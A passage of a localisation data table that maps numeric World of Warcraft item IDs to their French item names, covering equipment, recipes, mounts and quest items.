maître-chasseur",[17688]="Bottes de la jungle",[17689]="Collier de dressage foudrepique",[17690]="Insigne Loup-de-givre grade 1",[17691]="Insigne Foudrepique grade 1",[17692]="Anneau de la corne",[17693]="Fiole céruléenne renforcée",[17694]="Bague du poing",[17695]="Mantelet noisette",[17696]="Fiole céruléenne remplie",[17702]="Bâtonnet celebrien",[17703]="Diamant celebrien",[17704]="Tranchante de l\'hiver",[17705]="Rossée du mâtin",[17706]="Plans : Tranchante de l\'hiver",[17707]="Cœur d\'éclat de gemme",[17708]="Elixir de puissance du Givre",[17709]="Recette : Elixir de puissance du Givre",[17710]="Miséricorde de calcinite",[17711]="Jambières élémentaires de la crête rocheuse",[17712]="Déguisement pour le Voile d\'hiver",[17713]="Anneau de noirepierre",[17714]="Brassards de la princesse de pierre",[17715]="Oeil de Theradras",[17716]="Maître-neige 9000",[17717]="Carabine Mégatir",[17718]="Targe Hypertech de Kadenaz",[17719]="Epée focale d\'inventeur",[17720]="Schéma : Maître-neige 9000",[17721]="Gants du Grandpère",[17722]="Patron : Gants du Grandpère",[17723]="Chemise verte de fête",[17724]="Patron : Chemise verte de fête",[17725]="Formule : Enchantement d\'arme (Puissance de l\'hiver)",[17726]="Cadeau spécial des Gourmandises Fumebois",[17727]="Paquet-cadeau de Gourmandises Fumebois",[17728]="Bottes en écailles de crocilisque albinos",[17730]="Hache du saurien",[17732]="Mantelet de Grippe-charogne",[17733]="Poing de pierre",[17734]="Heaume de la montagne",[17735]="La fête du Voile d\'hiver",[17736]="Gantelets poigne-de-roc",[17737]="Pierre des nuages",[17738]="Griffe de Celebras",[17739]="Drapé de gardien du bosquet",[17740]="Coiffure de devin",[17741]="Etreinte de la nature",[17742]="Armure mycosienne",[17743]="Perche de résurgence",[17744]="Cœur de Noxcion",[17745]="Tireur nocif",[17746]="Menottes de Noxcion",[17747]="Racine de tranchefouet",[17748]="Sandales de Vinerot",[17749]="Spallières de peau végétale",[17750]="Ceinturon de chlororésille",[17751]="Jambières de Brusslehide",[17752]="Fouet de satyre",[17753]="Visée du gardien verdoyant",[17754]="Jambières des entourloupeurs infernaux",[17755]="Echarpe en crin de satyre",[17756]="Fragment Ombréclat",[17757]="Amulette des esprits",[17758]="Amulette d\'union",[17759]="Marque de résolution",[17760]="Graine de la vie",[17761]="Gemme du premier khan",[17762]="Gemme du deuxième khan",[17763]="Gemme du troisième khan",[17764]="Gemme du quatrième khan",[17765]="Gemme du cinquième khan",[17766]="Sceptre de la princesse Theradras",[17767]="Chapel d\'efflorescence",[17768]="Anneau graine-bois",[17770]="Gantelets griffebranche",[17771]="Barre d\'élémentium enchantée",[17772]="Pendentif Ombréclat zélé",[17773]="Pendentif Ombréclat prodigieux",[17774]="Marque de l\'élu",[17775]="Robe de sagacité",[17776]="Casque de Vif-anneau",[17777]="Cotte d\'anneaux implacable",[17778]="Ceinturon d\'armoise",[17779]="Espauliers du colosse de pierre",[17780]="Lame des ténèbres éternelles",[17781]="Les instructions du Paria",[17782]="Talisman de l\'éclat de lien",[17822]="Cartes loup-de-givre",[17823]="Plans de bataille foudrepique",[17849]="Bannière foudrepique",[17850]="Bannière loup-de-givre",[17900]="Insigne Foudrepique grade 2",[17901]="Insigne Foudrepique grade 3",[17902]="Insigne Foudrepique grade 4",[17903]="Insigne Foudrepique grade 5",[17904]="Insigne Foudrepique grade 6",[17905]="Insigne Loup-de-givre grade 2",[17906]="Insigne Loup-de-givre grade 3",[17907]="Insigne Loup-de-givre grade 4",[17908]="Insigne Loup-de-givre grade 5",[17909]="Insigne Loup-de-givre grade 6",[17922]="Armure en fourrure de lion",[17942]="Monster - Mace2H, War Maul",[17943]="Poing de pierre",[17962]="Sac de gemmes bleu",[17963]="Sac de gemmes vert",[17964]="Sac de gemmes gris",[17965]="Sac de gemmes jaune",[17966]="Sac à dos en cuir d\'Onyxia",[17968]="Ecaille d\'Onyxia chargée",[17969]="Sac de gemmes rouge",[17982]="Noyau de Ragnaros",[18000]="Viande séchée coriace",[18001]="Morceau de pain rassis",[18002]="Monster - Axe, 2H Horde Massive Spiked Blue",[18005]="Eau de source",[18022]="Sceau royal d\'Alexis",[18042]="Flèches à pointe de thorium",[18043]="Bottes du mineur de charbon",[18044]="Pinte d\'Hurley",[18045]="Steak de loup tendre",[18046]="Recette : Steak de loup tendre",[18047]="Brodequins des flammes",[18048]="Marteau du maître-forgeron",[18062]="Monster - Mace2H, Horde Hammer A03/C01Black",[18082]="Canne vexatoire de Zum\'rah",[18083]="Poignes de Jumanza",[18102]="Bottes de monteur de dragon",[18103]="Bague de rumination",[18104]="Ceinturon de sauvagerie",[18122]="Monster - Staff, Ornate Jeweled Staff - Blue High Blue Glow",[18123]="Monster - Staff, Feathered Silver Glow",[18142]="Tête coupée d\'elfe de la nuit",[18143]="Touffe de cheveux de gnome",[18144]="Bout d\'os humain",[18145]="Sabot de tauren",[18146]="Mojo de troll sombrelance",[18147]="Cœur de Réprouvé",[18148]="Crâne de Korrak",[18149]="Rune de rappel",[18150]="Rune de rappel",[18151]="Flasque d\'améthyste remplie",[18152]="Flasque d\'améthyste",[18154]="Papier à lettre Blizzard",[18160]="Recette : Thé de chardon",[18166]="Monster - Shield, Royal Dreadguard",[18167]="Monster - Sword, Machete C01",[18168]="Disque de force réactif",[18169]="Mantelet de l\'Aube de flammes",[18170]="Mantelet de l\'Aube de givre",[18171]="Mantelet de l\'Aube des Arcanes",[18172]="Mantelet de l\'Aube de la nature",[18173]="Mantelet de l\'Aube de l\'ombre",[18182]="Mantelet de l\'Aube chromatique",[18202]="Griffe gauche d\'Eskhandar",[18203]="Griffe droite d\'Eskhandar",[18204]="Fourrure d\'Eskhandar",[18205]="Torque d\'Eskhandar",[18206]="Colonne vertébrale de nain",[18207]="Dent d\'orc",[18208]="Drapé de bénédiction",[18222]="Vigne épineuse",[18223]="Pétale dentelé",[18224]="Fleur flagellante",[18225]="Chaussures de course usées",[18226]="Un pacte scellé",[18227]="Tétine étêtée",[18228]="Portrait dédicacé de Dagharn & Aguilor",[18229]="Guide de la pêche extrême par Nat Pagle",[18230]="Bouton « J\'ai gagné » cassé",[18231]="Maillot de corps",[18232]="Robot réparateur 74A",[18233]="Mouchoir mouillé de larmes",[18234]="Document d\'Espingoles imports",[18236]="Jouet à mâcher gordok",[18237]="Mâchoire de mastiff",[18238]="Gants en peau d\'ombre",[18239]="Patron : Gants en peau d\'ombre",[18240]="Tanin ogre",[18241]="Bride de palefroi de guerre noir",[18242]="Rênes de tigre de guerre noir",[18243]="Trotteur de bataille noir",[18244]="Bélier de guerre noir",[18245]="Cor du loup de guerre noir",[18246]="Sifflet du raptor de guerre noir",[18247]="Kodo de guerre noir",[18248]="Cheval de guerre squelette rouge",[18249]="Clé en croissant",[18250]="Clé des menottes gordok",[18251]="Renfort d\'armure du Magma",[18252]="Patron : Renfort d\'armure du Magma",[18253]="Potion de régénération majeure",[18254]="Courante-surprise",[18255]="Racine de Courante",[18256]="Fiole fondue",[18257]="Recette : Potion de régénération majeure",[18258]="Tenue d\'ogre gordok",[18259]="Formule : Enchantement d\'arme (Puissance des sorts)",[18260]="Formule : Enchantement d\'arme (Pouvoir de guérison)",[18261]="Livre des Incantations",[18262]="Pierre à aiguiser élémentaire",[18263]="Couvre-bras Cœur-de-braise",[18264]="Plans : Pierre à aiguiser élémentaire",[18265]="Patron : Couvre-bras Cœur-de-braise",[18266]="Clé de la cour des Gordok",[18267]="Recette : Courante-surprise",[18268]="Clé de la porte intérieure des Gordok",[18269]="Grog vert gordok",[18282]="Carabine de tireur d\'élite endurci",[18283]="Hyperviseur Biznicks 247 x 128",[18284]="Bière-massue de Kreeg",[18285]="Eclat de mana cristallisé",[18286]="Fragment de mana condensé",[18287]="Bourbe",[18288]="Eau-de-feu de mélasse",[18289]="Collier d\'épines barbelées",[18290]="Schéma : Hyperviseur Biznicks 247 x 128",[18291]="Schéma : Disque de force réactif",[18292]="Schéma : Carabine de tireur d\'élite endurci",[18293]="Monster - Glaive - 2 Blade B03 Green",[18294]="Elixir de respiration aquatique supérieure",[18295]="Bottes éclipsantes",[18296]="Poignets de tireur d\'élite",[18297]="Graine d\'épineux",[18298]="Jambières débridées",[18299]="Essence d\'Hydrogénos",[18300]="Nectar d\'Hyjal",[18301]="Baguette de Lethtendris",[18302]="Bague de vigueur",[18305]="Garde-jambes des brisants",[18306]="Gants de la brume ombreuse",[18307]="Chaussures de la marée",[18308]="Chapeau astucieux",[18309]="Gants de restauration",[18310]="Machette fielleuse",[18311]="Perche de canalisation quel\'dorei",[18312]="Pansière énergisée",[18313]="Heaume de vigilance",[18314]="Anneau de fourberie démoniaque",[18315]="Anneau de puissance démoniaque",[18317]="Talisman de la tempête",[18318]="Grèves miséricordieuses",[18319]="Camail fervent",[18321]="Bâtonnet énergétique",[18322]="Bottes de la gouttière",[18323]="Arc de satyre",[18324]="Tranche-vague",[18325]="Cagoule en gangrepeau",[18326]="Gantelets-rasoirs",[18327]="Corde de vigne-fouet",[18328]="Cape d\'ombrebois",[18329]="Arcanum de rapidité",[18330]="Arcanum de focalisation",[18331]="Arcanum de protection",[18332]="Libram de rapidité",[18333]="Libram de focalisation",[18334]="Libram de protection",[18335]="Diamant noir parfait",[18336]="Gantelet de puissance gordok",[18337]="Brassards orphiques",[18338]="Baguette de puissance arcanique",[18339]="Cape de l\'Eidolon",[18340]="Talisman de l\'Eidolon",[18343]="Bague pétrifiée",[18344]="Gantelets d\'écorcepierre",[18345]="Anneau murmurant",[18346]="Chausses élimées",[18347]="Hache bien équilibrée",[18348]="Quel\'Serrar",[18349]="Gantelets de précision",[18350]="Cape d\'amplification",[18351]="Brassards magiquement scellés",[18352]="Bouclier d\'écorce pétrifiée",[18353]="Bâton de fleur-pierre",[18354]="Collier de Pimgib",[18356]="Garona : une étude en discrétion et en trahison",[18357]="Le codex de défense",[18358]="Les recettes de l\'arcaniste",[18359]="La lumière et comment l\'altérer",[18360]="Contrôler les ombres",[18361]="La plus grande race de chasseurs",[18362]="La Sainte Bolognaise : Ce que la lumière ne vous dit pas",[18363]="L\'Horion de givre et vous",[18364]="Le Rêve d\'émeraude",[18365]="Une copie très fatiguée du « Guide de la pêche extrême », de Nat Pagle",[18366]="Garde-mains gordoks",[18367]="Gantelets gordoks",[18368]="Gants gordoks",[18369]="Protège-mains gordoks",[18370]="Charme de vigilance",[18371]="Talisman d\'ouvresprit",[18372]="Lame de la nouvelle lune",[18373]="Pansière de tranquillité",[18374]="Epaulières marquées par les flammes",[18375]="Brassards de l\'éclipse",[18376]="Masse usée",[18377]="Gants de tir rapide",[18378]="Jambières de Lune-d\'argent",[18379]="Grèves odieuses",[18380]="Cuissards indicibles",[18381]="Pendentif de mauvais œil",[18382]="Cape fluctuante",[18383]="Gantelets imprégnés de force",[18384]="Spallières gravées à la bile",[18385]="Robe de la nuit éternelle",[18386]="Chausses du Padre",[18387]="Gants d\'étincelles",[18388]="Fracasse-pierre",[18389]="Cape du cosmos",[18390]="Jambières d\'Enchevêtre",[18391]="Corde de pédoncule",[18392]="Dague de distraction",[18393]="Lien de Crochebois",[18394]="Garde-poignets de Hurledémon",[18395]="Anneau de flamme émeraude",[18396]="Découpe-esprit",[18397]="Pendentif d\'ancien magus",[18398]="Jonc des flots",[18399]="Brise de l\'océan",[18400]="Anneau de pierre vivante",[18401]="Le guide de Dagharn du tueur de dragons",[18402]="Anneau de cristal luminescent",[18403]="Chevalière du tueur de dragon",[18404]="Pendentif en dent d\'Onyxia",[18405]="Ceinture de l\'archimage",[18406]="Talisman de sang d\'Onyxia",[18407]="Gants en gangrétoffe",[18408]="Gants du feu d\'enfer",[18409]="Gants en étoffe lunaire",[18410]="Epée de coureur",[18411]="Bottes de vivacité",[18412]="Fragment du Magma",[18413]="Cape de sauvegarde",[18414]="Patron : Ceinture de l\'archimage",[18415]="Patron : Gants en gangrétoffe",[18416]="Patron : Gants du feu d\'enfer",[18417]="Patron : Gants en étoffe lunaire",[18418]="Patron : Cape de sauvegarde",[18419]="Monster - Axe, 2H Horde Red War Axe",[18420]="Ecraseur d\'os",[18421]="Casque des taillis",[18422]="Tête d\'Onyxia",[18423]="Tête d\'Onyxia",[18424]="Bottes de carex",[18425]="Chope de Kreeg",[18426]="Filet de Lethtendris",[18427]="Cape de sergent",[18428]="Insigne de sergent-chef",[18429]="Brassards d\'adjudant en plaques",[18430]="Brassards d\'adjudant en plaques",[18432]="Garde-poignets d\'adjudant en mailles",[18434]="Garde-bras d\'adjudant en cuir de dragon",[18435]="Garde-bras d\'adjudant en cuir",[18436]="Garde-bras d\'adjudant en cuir de dragon",[18437]="Crispins d\'adjudant en soie",[18440]="Pèlerine de sergent",[18441]="Pèlerine de sergent",[18442]="Insigne de sergent-chef",[18443]="Insigne de sergent-chef",[18444]="Insigne de sergent-chef",[18445]="Garde-poignets de sergent-major en plaques",[18447]="Garde-poignets de sergent-major en plaques",[18448]="Garde-bras de sergent-major en mailles",[18449]="Garde-bras de sergent-major en mailles",[18450]="Robe de combustion",[18451]="Ceinture en peau de hyène",[18452]="Brachiales de sergent-major en cuir",[18453]="Brachiales de sergent-major en cuir",[18454]="Brachiales de sergent-major en cuir de dragon",[18455]="Brachiales de sergent-major en cuir de dragon",[18456]="Crispins de sergent-major en soie",[18457]="Crispins de sergent-major en soie",[18458]="Garde-bras quelconques",[18459]="Garde-poignets galants",[18460]="Canon à main de base",[18461]="Cape de sergent",[18462]="Poing d\'os dentelé",[18463]="Couteau de poche ogre",[18464]="Anneau de nez gordok",[18465]="Sceau royal d\'Eldre\'Thalas",[18466]="Sceau royal d\'Eldre\'Thalas",[18467]="Sceau royal d\'Eldre\'Thalas",[18468]="Sceau royal d\'Eldre\'Thalas",[18469]="Sceau royal d\'Eldre\'Thalas",[18470]="Sceau royal d\'Eldre\'Thalas",[18471]="Sceau royal d\'Eldre\'Thalas",[18472]="Sceau royal d\'Eldre\'Thalas",[18473]="Sceau royal d\'Eldre\'Thalas",[18475]="Ceinture bizarrement magique",[18476]="Bottes boueuses",[18477]="Jambières velues",[18478]="Pourpoint en peau de hyène",[18479]="Casque du scorpide putride",[18480]="Heaume du scarabée en plaques",[18481]="Masse casse-crâne",[18482]="Lanceur de cure-dents ogre",[18483]="Baguette de canalisation de mana",[18484]="Lame de Cho\'Rush",[18485]="Bouclier de l\'observateur",[18486]="Robe en étoffe lunaire",[18487]="Patron : Robe en étoffe lunaire",[18488]="Lame ancienne chauffée",[18489]="Lame ancienne brute",[18490]="Chaperon de perspicacité",[18491]="Tisse-savoir",[18492]="Lame ancienne trempée",[18493]="Spallières volumineuses en fer",[18494]="Epaulières du gardien de l\'antre",[18495]="Cape du bastion",[18496]="Cape héliotrope",[18497]="Garde-poignets sublimes",[18498]="Taille-haies",[18499]="Bouclier de la barrière",[18500]="Anneau elfique terni",[18501]="Fragment de gangrevigne",[18502]="Couteau de brèche monstrueux",[18503]="Pansière de Kromcrabouille",[18504]="Ceinturon de clairvoyance",[18505]="Ceinture de l\'agresseur",[18506]="Bottes de la mangouste",[18507]="Bottes de la pleine lune",[18508]="Brassards de vol rapide",[18509]="Cape chromatique",[18510]="Peau du Fauve",[18511]="Cape changeante",[18512]="Acide de larve",[18513]="Une lame elfique inachevée",[18514]="Patron : Ceinturon de clairvoyance",[18515]="Patron : Bottes de la mangouste",[18516]="Patron : Brassards de vol rapide",[18517]="Patron : Cape chromatique",[18518]="Patron : Peau du Fauve",[18519]="Patron : Cape changeante",[18520]="Lame barbare",[18521]="Bottes en métal sales",[18522]="Bague du roi des ogres",[18523]="Pierre étincelante",[18524]="Jambières de destruction",[18525]="Brassards de prospérité",[18526]="Couronne du roi des ogres",[18527]="Gantelets harmonieux",[18528]="Spallières de cyclone",[18529]="Ceinturon élémentaire en plaques",[18530]="Haubert ogre",[18531]="Maillet inflexible",[18532]="Robe de vague mentale",[18533]="Brassards de puissance gordok",[18534]="Perche des ogres magi",[18535]="Bouclier de Milli",[18536]="Lexique de Milli",[18537]="Magnétite de contre-attaque",[18538]="Plaie-du-tréant",[18539]="Reliquaire de pureté",[18540]="Reliquaire de pureté scellé",[18541]="Cape surpuissante",[18542]="Typhon",[18543]="Anneau d\'entropie",[18544]="Gantelets de cuir funeste",[18545]="Jambières de suprématie arcanique",[18546]="Cervelière infernale",[18547]="Ceinturon de glace éternelle",[18562]="Lingot d\'élémentium",[18563]="Liens du Cherchevent",[18564]="Liens du Cherchevent",[18565]="Calice de la renaissance",[18566]="Essence du seigneur du Feu",[18567]="Catalyseur élémentaire",[18582]="Les Lames jumelles d\'Azzinoth",[18583]="Glaive de guerre d\'Azzinoth (droit)",[18584]="Glaive de guerre d\'Azzinoth (gauche)",[18585]="Bague d\'allégeance",[18586]="Anneau d\'Arbre-solitaire",[18587]="Défibrillateur gobelin XL",[18588]="Dynamite Ev-Lan II",[18590]="Sang de bêtes déchaînées",[18591]="Caisse de sang",[18592]="Plans : Marteau en sulfuron",[18594]="Puissante charge d\'hydroglycérine",[18596]="Monster - Axe, Horde B01 Green",[18597]="Sifflet d\'orphelin orc",[18598]="Sifflet d\'orphelin humain",[18600]="Tome d\'illumination des Arcanes",[18601]="Prison de cristal luminescente",[18602]="Tome du Sacrifice",[18603]="Sang de satyre",[18604]="Larmes de l\'Hederine",[18605]="Garde funeste emprisonné",[18606]="Etendard de bataille de l\'Alliance",[18607]="Etendard de bataille de la Horde",[18608]="Bénédiction",[18609]="Anathème",[18610]="Machette effilée",[18611]="Jambières pin-tordu",[18612]="Bottes en mailles sanglantes",[18622]="Gangressence parfaite (Jaedenar)",[18623]="Gangressence parfaite (Porte des ténèbres)",[18624]="Gangressence parfaite (Azshara)",[18625]="Noyau infernal de Kroshius",[18626]="Gangrefeu",[18628]="Contrat de la Confrérie du thorium",[18629]="Magnétite noire",[18631]="Altérateur de vrai-argent",[18632]="Caramel de Ruisselune",[18633]="Sucette amère de Styleen",[18634]="Réflectoglace gyrogivre",[18635]="Barre aux noisettes de Bellara",[18636]="Défibrillateur abîmé XL",[18637]="Recombobulateur majeur",[18638]="Réflectoflamme hyper-radiant",[18639]="Réflectombre ultra-flash",[18640]="Caillou rigolo",[18641]="Dynamite dense",[18642]="Autographe de Jaina",[18643]="Empreinte de sabot de Cairne",[18644]="Monster - Staff, Ornate Jeweled Staff - Red Low Red Flame",[18645]="Robot d\'alarme gnome",[18646]="L\'Oeil de la divinité",[18647]="Schéma : Feu d\'artifice rouge",[18648]="Schéma : Feu d\'artifice vert",[18649]="Schéma : Feu d\'artifice bleu",[18650]="Schéma : Dynamite Ev-Lan II",[18651]="Schéma : Altérateur de vrai-argent",[18652]="Schéma : Réflectoglace gyrogivre",[18653]="Schéma : Défibrillateur gobelin XL",[18654]="Schéma : Robot d\'alarme gnome",[18655]="Schéma : Recombobulateur majeur",[18656]="Schéma : Puissante charge d\'hydroglycérine",[18657]="Schéma : Réflectoflamme hyper-radiant",[18658]="Schéma : Réflectombre ultra-flash",[18659]="Eclat de Nordrassil",[18660]="Agrandisseur de monde",[18661]="Schéma : Agrandisseur de monde",[18662]="Balle en cuir lourd",[18663]="Bocal de J\'eevee",[18664]="Un traité sur les grades",[18665]="L\'Oeil de l\'ombre",[18670]="Glyphes de Xoroth",[18671]="Sceptre du baron Charr",[18672]="Braise d\'élémentaire",[18673]="Peau pierreuse d\'Avalanchion",[18674]="Bague de pierre durcie",[18675]="Grades de la Horde et de l\'Alliance",[18676]="Echarpe du Déchirevent",[18677]="Cape du zéphyr",[18678]="Collier gelé de Tempestria",[18679]="Anneau algide",[18680]="Arc ancien en os",[18681]="Châle funéraire",[18682]="Jambières en peau de goule",[18683]="Marteau des vêpres",[18684]="Anneau légèrement opalescent",[18686]="Epaulières de golem d\'os",[18687]="Poussière d\'étoile xorothienne",[18688]="Diablotin en bouteille",[18689]="Cape fantasmatique",[18690]="Jambières d\'âme en peine en plaques",[18691]="Pendentif du Noir conseiller",[18692]="Solerets de chevalier de la mort",[18693]="Protège-mains fébriles",[18694]="Grèves de mailles des ténèbres",[18695]="Tome envoûté",[18696]="Bouclier aux runes complexes",[18697]="Mules de froidepierre",[18698]="Cagoule rapiécé en cuir",[18699]="Spallières de la tombe glaciale",[18700]="Brassards maléfiques",[18701]="Bague d\'innervation",[18702]="Ceinture des consacrés",[18703]="Feuille ancienne pétrifiée",[18704]="Tendon de dragon bleu adulte",[18705]="Tendon de dragon noir adulte",[18706]="Maître de l\'arène",[18707]="Bâton runique gravé des Anciens",[18708]="Ecorce pétrifiée",[18709]="Garde-poignets de l\'arène",[18710]="Brassards de l\'arène",[18711]="Poignets de l\'arène",[18712]="Protège-bras de l\'arène",[18713]="Rhok\'delar, arc long des Gardiens anciens",[18714]="Feuille d\'Ancien cousue de tendons",[18715]="Lok\'delar, bâton des Gardiens anciens",[18716]="Bottes couvertes de cendres",[18717]="Marteau du Grand croisé",[18718]="Heaume du grand croisé",[18719]="Le Cœur du traître",[18720]="Voile des nathrezims",[18721]="Ceinturon du barrage",[18722]="Poignes de mort",[18723]="Chaîne de cou animée",[18724]="Tendon de dragon noir enchanté",[18725]="Conciliateur",[18726]="Crispins de magistrat",[18727]="Chapeau de feutre cramoisi",[18728]="Héritage d\'Anastari",[18729]="Arc strident",[18730]="Protège-mains lacés de ténèbres",[18731]="Patron : Balle en cuir lourd",[18734]="Cape de la lune blafarde",[18735]="Bottillons de Maleki",[18736]="Jambières du chien pestiféré",[18737]="Hachette tranche-os",[18738]="Arbalète en échine chitineuse",[18739]="Garde-jambes en plaques chitineuses",[18740]="Echarpe de Thuzadin",[18741]="Brassards de Morlune",[18742]="Garde-épaules de la milice de Stratholme",[18743]="Cape gracieuse",[18744]="Gants en fourrure de chauve-souris pestiférée",[18745]="Jambières en tissu sacré",[18746]="Clairvoyant",[18749]="Âme déchue du destrier",[18752]="Encensoir d\'exorcisme",[18753]="Caparaçon en arcanite",[18754]="Brassards corrompus durcis",[18755]="Badine à feu xorothienne",[18756]="Protecteur de Gardeffroi",[18757]="Mantelet diabolique",[18758]="Lame de spectre",[18759]="Hache malveillante",[18760]="Bague nécromantique",[18761]="Toucher d\'oubli",[18762]="Eclat de la flamme verte",[18766]="Rênes de sabre-de-givre rapide",[18767]="Rênes de sabre-de-brume rapide",[18768]="Rênes de sabre-de-l\'aube rapide",[18769]="Les plates en thorium enchanté",[18770]="Les plates en thorium enchanté",[18771]="Les plates en thorium enchanté",[18772]="Mécanotrotteur vert rapide",[18773]="Mécanotrotteur blanc rapide",[18774]="Mécanotrotteur jaune rapide",[18775]="Fourrage enrichi en manne",[18776]="Palomino rapide",[18777]="Palefroi bai rapide",[18778]="Palefroi blanc rapide",[18779]="Moitié inférieure de La Forge d\'armure pour les experts : volume I",[18780]="Moitié supérieure de La Forge d\'armure pour les experts : volume I",[18781]="Moitié inférieure de La Forge d\'armure pour les experts : volume II",[18782]="Moitié supérieure de La Forge d\'armure pour les experts : volume II",[18783]="Moitié inférieure de La Forge d\'armure pour les experts : volume III",[18784]="Moitié supérieure de La Forge d\'armure pour les experts : volume III",[18785]="Bélier blanc rapide",[18786]="Bélier brun rapide",[18787]="Bélier gris rapide",[18788]="Raptor bleu rapide",[18789]="Raptor vert olive rapide",[18790]="Raptor orange rapide",[18791]="Cheval de guerre squelette violet",[18792]="Caparaçon en arcanite béni",[18793]="Grand kodo blanc",[18794]="Grand kodo brun",[18795]="Grand kodo gris",[18796]="Cor du loup brun rapide",[18797]="Cor du loup des bois rapide",[18798]="Cor du loup gris rapide",[18799]="Âme rachetée du destrier",[18802]="Potion des ténèbres",[18803]="Drague-lave de Finkle",[18804]="Sacoche du seigneur Grayson",[18805]="Dent de chien du magma",[18806]="Grèves du Cœur du Magma",[18807]="Heaume du pouvoir latent",[18808]="Gants de la flamme hypnotique",[18809]="Echarpe des secrets murmurés",[18810]="Spallières de croissance sauvage",[18811]="Cape ignifugée",[18812]="Garde-poignets de vrai vol",[18813]="Anneau de lien",[18814]="Sautoir du seigneur du Feu",[18815]="Essence de la flamme pure",[18816]="Lame de la perdition",[18817]="Couronne de destruction",[18818]="Instructions de Mor\'zul",[18819]="Encensoir d\'exorcisme de Rohan",[18820]="Talisman de pouvoir éphémère",[18821]="Anneau de frappe rapide",[18822]="Lame à tranchant d\'obsidienne",[18823]="Vieux gants en cuir du Magma",[18824]="Bottes durcies dans le magma",[18825]="Egide de connétable",[18826]="Grand pavois de grand seigneur de guerre",[18827]="Hache courte de connétable",[18828]="Fendoir de grand seigneur de guerre",[18829]="Spallières de la terre profonde",[18830]="Fendeuse de connétable",[18831]="Hache d\'armes de grand seigneur de guerre",[18832]="Lame de brutalité",[18833]="Viseur de connétable",[18834]="Insigne de la Horde",[18835]="Arc de grand seigneur de guerre à double courbure",[18836]="Arbalète à répétition de connétable",[18837]="Arbalète de grand seigneur de guerre",[18838]="Miséricorde de connétable",[18839]="Potion de soins de combat",[18840]="Rasoir de grand seigneur de guerre",[18841]="Potion de mana de combat",[18842]="Bâton de domination",[18843]="Lame droite de connétable",[18844]="Griffe droite de grand seigneur de guerre",[18845]="Insigne de la Horde",[18846]="Insigne de la Horde",[18847]="Lame gauche de connétable",[18848]="Griffe gauche de grand seigneur de guerre",[18849]="Insigne de la Horde",[18850]="Insigne de la Horde",[18851]="Insigne de la Horde",[18852]="Insigne de la Horde",[18853]="Insigne de la Horde",[18854]="Insigne de l\'Alliance",[18855]="Canon à main de connétable",[18856]="Insigne de l\'Alliance",[18857]="Insigne de l\'Alliance",[18858]="Insigne de l\'Alliance",[18859]="Insigne de l\'Alliance",[18860]="Balayeur de rue de grand seigneur de guerre",[18861]="Cuissards d\'attise-flammes",[18862]="Insigne de l\'Alliance",[18863]="Insigne de l\'Alliance",[18864]="Insigne de l\'Alliance",[18865]="Punisseur de connétable",[18866]="Gourdin de grand seigneur de guerre",[18867]="Marteau d\'armes de connétable",[18868]="Pulvériseur de grand seigneur de guerre",[18869]="Couteau de brèche de connétable",[18870]="Heaume du donneur de vie",[18871]="Aiguillon de grand seigneur de guerre",[18872]="Jambières de tempête de mana",[18873]="Bâton de connétable",[18874]="Bâton de guerre de grand seigneur de guerre",[18875]="Pantalon en écailles de salamandre",[18876]="Claymore de connétable",[18877]="Estramaçon de grand seigneur de guerre",[18878]="Dague ensorceleuse",[18879]="Anneau épais en sombrefer",[18880]="Tête de Ravassombre",[18902]="Rênes de sabre-tempête rapide",[18904]="Ultra-réducteur de Zorbin",[18922]="Plans secrets : Flux embrasé",[18943]="Oreiller sombrefer",[18944]="Ecaille d\'incendosaure",[18945]="Résidu de sombrefer",[18946]="Tête du surveillant Maltorius",[18947]="Peau de yéti griffe farouche",[18948]="Brassards barbares",[18949]="Patron : Brassards barbares",[18950]="Oreiller de Pincetaie",[18951]="Oreiller d\'atterrissage d\'Evonice",[18952]="Tête de Simona",[18953]="Tête de Klinfran",[18954]="Tête de Solenor",[18955]="Tête d\'Artorius",[18956]="Résidus de miniaturisation",[18957]="Lame des broussailles",[18958]="Noyau d\'élémentaire d\'eau",[18959]="Tuyère de forge",[18960]="Longue-vue de guetteur",[18961]="Carapace de Zukk\'ash",[18962]="Glandes de Fouet-cuisant",[18969]="Peau de yéti en parfait état",[18970]="Anneau de test critique 2",[18972]="Peau de yéti parfaite",[18983]="Monster - Sword, Longsword Exotic Black - Low Red Flame",[18984]="Déchiqueteur dimensionnel - Long-Guet",[18985]="Monster - Sword, Long Silver - Green Pommel - High Black Glow",[18986]="Transporteur ultra-sécurisé : Gadgetzan",[18987]="Instructions de Main-noire",[19002]="Tête de Nefarian",[19003]="Tête de Nefarian",[19004]="Pierre de soins",[19005]="Pierre de soins",[19006]="Pierre de soins inférieure",[19007]="Pierre de soins inférieure",[19008]="Pierre de soins",[19009]="Pierre de soins",[19010]="Pierre de soins supérieure",[19011]="Pierre de soins supérieure",[19012]="Pierre de soins majeure",[19013]="Pierre de soins majeure",[19014]="Monster - Item, 2H Horde Wood Axe",[19016]="Calice de la renaissance",[19017]="Essence du seigneur du Feu",[19018]="Lame du baiser du vent dormante",[19019]="Lame-tonnerre, épée bénie du Cherchevent",[19020]="Rapport sur les Zukk\'ash du camp Mojache",[19022]="FC-5000 de Nat Pagle, pêcheur de l\'extrême",[19023]="Le meilleur appât de Katoom",[19024]="Grand maître de l\'arène",[19025]="Plume de seigneur du ciel",[19026]="Feu d\'artifice « Explosion serpentine »",[19027]="Schéma : Feu d\'artifice « Explosion serpentine »",[19028]="Robe de soirée",[19029]="Cor du hurleur loup-de-givre",[19030]="Destrier de bataille foudrepique",[19031]="Tabard de bataille loup-de-givre",[19032]="Tabard de bataille foudrepique",[19033]="Outils perdus de Boiscorie",[19034]="Repas de Lard",[19035]="Panier de pique-nique spécial de Lard",[19036]="Message final pour les Marteaux-hardis",[19037]="Spallières du pic d\'Emeraude",[19038]="Anneau de subtilité",[19039]="Chapeau imperméable de Zorbin",[19040]="Méga-tranchoir de Zorbin",[19041]="Tunique artisanale de Pratt",[19042]="Tunique artisanale de Jangdor",[19043]="Ceinture épaisse grumegueule",[19044]="Pouvoir des Grumegueules",[19045]="Etendard de bataille foudrepique",[19046]="Etendard de bataille loup-de-givre",[19047]="Sagesse des Grumegueules",[19048]="Bottes lourdes grumegueules",[19049]="Batailleurs grumegueules",[19050]="Mantelet des Grumegueules",[19051]="Ceinturon de l\'Aube",[19052]="Bottines de l\'aube",[19053]="Monster - Item, Orb - A01 Blue",[19054]="Orbe de dragon rouge",[19055]="Orbe de dragon vert",[19056]="Bottes de l\'Aube d\'argent",[19057]="Gants de l\'Aube",[19058]="Mantelet doré de l\'Aube",[19059]="Epaulières de l\'Aube d\'argent",[19060]="Rations enrichies du goulet des Chanteguerres",[19061]="Rations de fer du goulet des 